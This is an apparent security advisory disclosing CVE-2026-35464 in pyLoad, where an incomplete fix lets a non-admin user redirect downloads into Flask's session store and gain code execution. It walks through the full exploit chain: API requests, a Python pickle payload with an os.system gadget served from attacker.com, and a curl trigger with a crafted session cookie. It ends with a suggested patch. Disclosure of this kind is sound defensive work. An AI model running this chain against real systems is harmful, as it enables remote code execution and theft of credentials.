CVE-2026-35464: pyLoad has an incomplete fix for CVE-2026-33509: unprotected storage_folder enables arbitrary file write to Flask session store and code execution

Summary

The fix for CVE-2026-33509 (GHSA-r7mc-x6x7-cqxx) added an ADMINONLYOPTIONS set to block non-admin users from modifying security-critical config options. The storagefolder option is not in this set and passes the existing path restriction because the Flask session directory is outside both PKGDIR and userdir. A user with SETTINGS and ADD permissions can redirect downloads to the Flask filesystem session store, plant a malicious pickle payload as a predictable session file, and trigger arbitrary code execution when any HTTP request arrives with the corresponding session cookie.

Required Privileges

The chain requires a single non-admin user with both SETTINGS (to change storagefolder) and ADD (to submit a download URL) permissions. These are independent bitmask flags that can be assigned together by an admin. The final RCE trigger is unauthenticated: any HTTP request with the crafted session cookie causes deserialization.

Root Cause

storagefolder at src/pyload/core/api/init.py:238-246 has a path check that blocks writing inside PKGDIR or userdir using os.path.realpath. However, Flask's filesystem session directory (/tmp/pyLoad/flask/ in the standard Docker deployment) is outside both restricted paths.

pyload configures Flask with SESSIONTYPE = "filesystem" at init.py:127. The cachelib FileSystemCache stores session files as md5("session:" + sessionid) and deserializes them with pickle.load() on every request that carries the corresponding session cookie.

Proven RCE Chain

Tested against lscr.io/linuxserver/pyload-ng:latest Docker image.

Step 1 — Change download directory to Flask session store:

POST /api/setconfigvalue {"section":"core","category":"general","option":"storagefolder","value":"/tmp/pyLoad/flask"}

The path check resolves /tmp/pyLoad/flask/ via realpath. It does not start with PKGDIR (/lsiopy/.../pyload/) or userdir (/config/). Check passes.

Step 2 — Compute the target session filename:

md5("session:ATTACKERSESSIONID") = 92912f771df217fb6fbfded6705dd47c

Flask-Session uses cachelib which stores files as md5(keyprefix + sessionid). The default key prefix is session:.

Step 3 — Host and download the malicious pickle payload:

import pickle, os, struct class RCE: def reduce(self): return (os.system, ("id > /tmp/pyload-rce-success",)) session = {"permanent": True, "rce": RCE()} payload = struct.pack("I", 0) + pickle.dumps(session, protocol=2) # struct.pack("I", 0) = cachelib timeout header (0 = never expires)

Serve as http://attacker.com/92912f771df217fb6fbfded6705dd47c and submit:

POST /api/addpackage {"name":"x","links":["http://attacker.com/92912f771df217fb6fbfded6705dd47c"],"dest":1}

The file is saved to /tmp/pyLoad/flask/92912f771df217fb6fbfded6705dd47c.

Step 4 — Trigger deserialization (unauthenticated):

curl http://target:8000/ -b "pyloadsession8000=ATTACKERSESSIONID"

The session cookie name is pyloadsession + the configured port number (init.py:128).

Flask loads the session file. cachelib reads the 4-byte timeout header, confirms the entry is not expired, and calls pickle.load(). The RCE gadget executes.

Result:

$ docker exec pyload-poc cat /tmp/pyload-rce-success uid=1000(abc) gid=1000(users) groups=1000(users)

Impact

A non-admin user with SETTINGS + ADD permissions achieves arbitrary code execution as the pyload service user. The final trigger requires no authentication. The attacker can:

- Execute arbitrary commands with the privileges of the pyload process - Read environment variables (API keys, credentials) - Access the filesystem (download history, user database) - Pivot to other network resources

Suggested Fix

Add storagefolder to the ADMINONLY set, or extend the path check to block writing to auto-consumed temporary directories (Flask session store, Jinja bytecode cache, pyload temp directory):

ADMINONLYOPTIONS = { ... ("general", "storagefolder"), # ADDED: prevents session poisoning RCE ... }

Also correct the existing wrong option names:

("webui", "sslcertfile"), # FIXED: was "sslcert" (dead code) ("webui", "sslkeyfile"), # FIXED: was "sslkey" (dead code)